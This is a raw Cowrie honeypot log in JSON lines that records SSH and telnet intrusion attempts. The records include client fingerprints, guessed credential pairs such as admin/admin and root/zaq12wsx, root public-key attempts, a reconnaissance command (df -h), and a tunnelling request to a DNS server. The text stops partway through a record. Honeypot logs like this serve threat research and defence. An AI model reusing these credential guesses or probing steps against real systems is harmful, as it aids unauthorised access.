{"eventid":"cowrie.command.input","input":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","message":"CMD: df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:13:36.563890Z","src_ip":"50.225.176.238","session":"8292e967d714","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","size":12,"shasum":"09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:13:36.582590Z","src_ip":"50.225.176.238","session":"8292e967d714","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.4","message":"Connection lost after 4.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:13:36.592664Z","src_ip":"50.225.176.238","session":"8292e967d714","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":45644,"dst_ip":"10.17.0.5","dst_port":22,"session":"b8331370d31b","protocol":"ssh","message":"New connection: 103.15.226.202:45644 (10.17.0.5:22) [session: b8331370d31b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:13:51.057326Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:13:51.062051Z","src_ip":"103.15.226.202","session":"b8331370d31b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:13:51.311598Z","src_ip":"103.15.226.202","session":"b8331370d31b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zaq12wsx","message":"login attempt [root/zaq12wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:13:52.043247Z","src_ip":"103.15.226.202","session":"b8331370d31b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:13:53.289676Z","src_ip":"103.15.226.202","session":"b8331370d31b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":27844,"dst_ip":"10.17.0.5","dst_port":22,"session":"09c0df1095bc","protocol":"ssh","message":"New connection: 194.59.206.2:27844 (10.17.0.5:22) [session: 09c0df1095bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:14:03.093031Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:14:03.098625Z","src_ip":"194.59.206.2","session":"09c0df1095bc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:14:03.189378Z","src_ip":"194.59.206.2","session":"09c0df1095bc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:14:03.299959Z","src_ip":"194.59.206.2","session":"09c0df1095bc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.225.176.238","src_port":36802,"dst_ip":"10.17.0.5","dst_port":22,"session":"3a32f8d6f4a7","protocol":"ssh","message":"New connection: 50.225.176.238:36802 (10.17.0.5:22) [session: 3a32f8d6f4a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:14:25.705675Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:14:25.711083Z","src_ip":"50.225.176.238","session":"3a32f8d6f4a7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:14:25.723927Z","src_ip":"50.225.176.238","session":"3a32f8d6f4a7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"testing123","message":"login attempt [test/testing123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:14:25.801787Z","src_ip":"50.225.176.238","session":"3a32f8d6f4a7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:14:26.817214Z","src_ip":"50.225.176.238","session":"3a32f8d6f4a7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":31810,"dst_ip":"10.17.0.5","dst_port":23,"session":"6bed48c92207","protocol":"telnet","message":"New connection: 212.55.149.117:31810 (10.17.0.5:23) [session: 6bed48c92207]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:14:45.953472Z"}
{"eventid":"cowrie.session.closed","duration":120.01567459106445,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:16:45.969003Z","src_ip":"212.55.149.117","session":"6bed48c92207","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":40026,"dst_ip":"10.17.0.5","dst_port":22,"session":"617f762e6057","protocol":"ssh","message":"New connection: 87.251.64.176:40026 (10.17.0.5:22) [session: 617f762e6057]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:17:00.605436Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:17:00.610626Z","src_ip":"87.251.64.176","session":"617f762e6057","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:17:00.707532Z","src_ip":"87.251.64.176","session":"617f762e6057","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.102.171.239","src_port":19614,"dst_ip":"10.17.0.5","dst_port":22,"session":"61e5b6898b1a","protocol":"ssh","message":"New connection: 185.102.171.239:19614 (10.17.0.5:22) [session: 61e5b6898b1a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:17:00.778014Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:17:00.784682Z","src_ip":"185.102.171.239","session":"61e5b6898b1a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:17:00.872742Z","src_ip":"185.102.171.239","session":"61e5b6898b1a","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:17:01.009032Z","src_ip":"87.251.64.176","session":"617f762e6057","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:17:01.112236Z","session":"617f762e6057","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:17:01.211724Z","src_ip":"87.251.64.176","session":"617f762e6057","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"37:40:d6:5f:bc:b0:f6:04:6e:7a:46:df:60:96:c5:f1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDFlyJaBUMMwVQ43Snr2qMDeC55IRmNpJNJwKJgIcXWKUfpTum6itC3li/olgj4Ru75Dk+7eT0pi3lTWJ9I5GTh47DpCKk0iDgtdUj32fSSJ/dsf04X9OVCVyVhVj+eCoyVrtclJDX2VTe1P6WnUKVDe6W7DWjOQpdq2S9jRrtejsV4ZWO9/Oh8vm9SOpfRkF+oLlbM31xzgH/ycaIZ51ZvDRd/LaAsTIjdQwQLFzcBSZQSUWt6nl3DrMxqP0sAr9WEbt5WxuB2mPBC+8BgBd3ep6Mb9XAl2LmJmeTuKyvSWuNJ9yfzNmVXg7WaSbwQ5yqQPcLwFPX4zoLJyReT9+w7","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 37:40:d6:5f:bc:b0:f6:04:6e:7a:46:df:60:96:c5:f1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:17:01.281393Z","src_ip":"185.102.171.239","session":"61e5b6898b1a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"37:40:d6:5f:bc:b0:f6:04:6e:7a:46:df:60:96:c5:f1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDFlyJaBUMMwVQ43Snr2qMDeC55IRmNpJNJwKJgIcXWKUfpTum6itC3li/olgj4Ru75Dk+7eT0pi3lTWJ9I5GTh47DpCKk0iDgtdUj32fSSJ/dsf04X9OVCVyVhVj+eCoyVrtclJDX2VTe1P6WnUKVDe6W7DWjOQpdq2S9jRrtejsV4ZWO9/Oh8vm9SOpfRkF+oLlbM31xzgH/ycaIZ51ZvDRd/LaAsTIjdQwQLFzcBSZQSUWt6nl3DrMxqP0sAr9WEbt5WxuB2mPBC+8BgBd3ep6Mb9XAl2LmJmeTuKyvSWuNJ9yfzNmVXg7WaSbwQ5yqQPcLwFPX4zoLJyReT9+w7","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:17:01.285431Z","src_ip":"185.102.171.239","session":"61e5b6898b1a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:17:01.311299Z","src_ip":"87.251.64.176","session":"617f762e6057","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e1:37:bb:e0:26:9f:77:30:29:9a:37:23:22:cc:30:e6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDD0POi4rVS+Rnl2Xdx1koWgWC9xNmEKYkxWU3dtcKf9F4QvH44TL1AuO8/QaY+Fy7XJe4XkRhbUymytq7tSoMf8fvu+PfVyAFObeExrHU6qx2L62tuRIO3PgpfpxSbzt2uxefLpRJnk2h+Zzwr5eLNg9v1mGp7dAcwSyVcCIPUN9HfsmwyKtet5CiZUrA5sk0io/VISUeQtOxeC6toKFkjIX1B8gjt9TQlwk9Qv/jSCgFnP3OMHz5ozloWVH6nz8g3jjD/YUao+aRpZV6tg0KidL/EOLEJlRK1ud0Be8Qpjs4m2KZJywsP5mwRbtz8Kv/t+1+GyRjRJu96YnpnXPO6sedZK2n6swzOAzWCYfrzAwQGMmEmxtsCdDlTOPmmukCOge7rrbLtQFeTtC4Fs+zz31qCrwAGxFN9cD2MyaBx7pOAbsmaEM39ecNZFupqEnS3nzE9amfU5QzdmxXyvH8BDKggjs6pVnYOqzuDuTGHH0N11/jlLnPoX2CxJfcOt+k=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e1:37:bb:e0:26:9f:77:30:29:9a:37:23:22:cc:30:e6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:17:01.372874Z","src_ip":"185.102.171.239","session":"61e5b6898b1a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e1:37:bb:e0:26:9f:77:30:29:9a:37:23:22:cc:30:e6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDD0POi4rVS+Rnl2Xdx1koWgWC9xNmEKYkxWU3dtcKf9F4QvH44TL1AuO8/QaY+Fy7XJe4XkRhbUymytq7tSoMf8fvu+PfVyAFObeExrHU6qx2L62tuRIO3PgpfpxSbzt2uxefLpRJnk2h+Zzwr5eLNg9v1mGp7dAcwSyVcCIPUN9HfsmwyKtet5CiZUrA5sk0io/VISUeQtOxeC6toKFkjIX1B8gjt9TQlwk9Qv/jSCgFnP3OMHz5ozloWVH6nz8g3jjD/YUao+aRpZV6tg0KidL/EOLEJlRK1ud0Be8Qpjs4m2KZJywsP5mwRbtz8Kv/t+1+GyRjRJu96YnpnXPO6sedZK2n6swzOAzWCYfrzAwQGMmEmxtsCdDlTOPmmukCOge7rrbLtQFeTtC4Fs+zz31qCrwAGxFN9cD2MyaBx7pOAbsmaEM39ecNZFupqEnS3nzE9amfU5QzdmxXyvH8BDKggjs6pVnYOqzuDuTGHH0N11/jlLnPoX2CxJfcOt+k=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:17:01.377423Z","src_ip":"185.102.171.239","session":"61e5b6898b1a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d1:d9:8c:12:73:28:37:ca:b3:54:78:53:8b:d2:11:65","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDmjL8pdtT26OvmwcaEwqKQnq6ryd+T+eUiFa2H1dThm1Xi1GiuCyxMtRy5NqVvANdFgShLUqNCvHv0Werayu4IOGwFKL/V/YZ9XCrruxTLWrfoj89N0mtp+fqHJe9cHwckVFRLlGdkgG4UTiSM7KW9d3rKlneVCm3WOoVtY4jEDyAdaIugGStq1uD3LFR1KB0oqVuFpenZLP44RMfsOR+5ZqMtQPYnkdE1Ux7ARKLiaNZ0m4rV4VjTlT2E5c6tHWZ2R79MM+4TKUdUBasuFmBG/W9LY9amabD3hehfn9M6eknYn1IPwnmh7jkaKyka1qqkvTYCllwunqxfoEhcIvjl","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d1:d9:8c:12:73:28:37:ca:b3:54:78:53:8b:d2:11:65","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:17:01.464692Z","src_ip":"185.102.171.239","session":"61e5b6898b1a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d1:d9:8c:12:73:28:37:ca:b3:54:78:53:8b:d2:11:65","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDmjL8pdtT26OvmwcaEwqKQnq6ryd+T+eUiFa2H1dThm1Xi1GiuCyxMtRy5NqVvANdFgShLUqNCvHv0Werayu4IOGwFKL/V/YZ9XCrruxTLWrfoj89N0mtp+fqHJe9cHwckVFRLlGdkgG4UTiSM7KW9d3rKlneVCm3WOoVtY4jEDyAdaIugGStq1uD3LFR1KB0oqVuFpenZLP44RMfsOR+5ZqMtQPYnkdE1Ux7ARKLiaNZ0m4rV4VjTlT2E5c6tHWZ2R79MM+4TKUdUBasuFmBG/W9LY9amabD3hehfn9M6eknYn1IPwnmh7jkaKyka1qqkvTYCllwunqxfoEhcIvjl","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:17:01.468914Z","src_ip":"185.102.171.239","session":"61e5b6898b1a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c7:6c:52:f5:14:bc:6d:f8:3d:c7:32:3c:e0:02:10:52","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC0nAspl6SXYDPO8TeRYGGBsoRj5c5noSFpiapuXP7OKaQGpTyphnGDKo7LVcJRNkJBMReWKHyq/Aup84J4gIsfMIV7dsBlzpMzmpFXM33yMYSMxNyRs8OWvVYc/M19wSa9NdasA7CwFAYuhrxql0fL1VtfeHdr8CCpVFeEQ62pG3cAnii656UUjfCM6Mift6m7DlfJTjiQakrazAz9yEXBCzLhTwDc8BwJHIN1oWm9MWkPll/dGMUNxnyhwwDm3SWO5e2EROxRObAStNwKH+E7cBj/IdlzrjIwvM8+54ZwSfq8cNmc2WtniIkib1mz42khr9bmJVfOFwNLxjr0Jt15","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 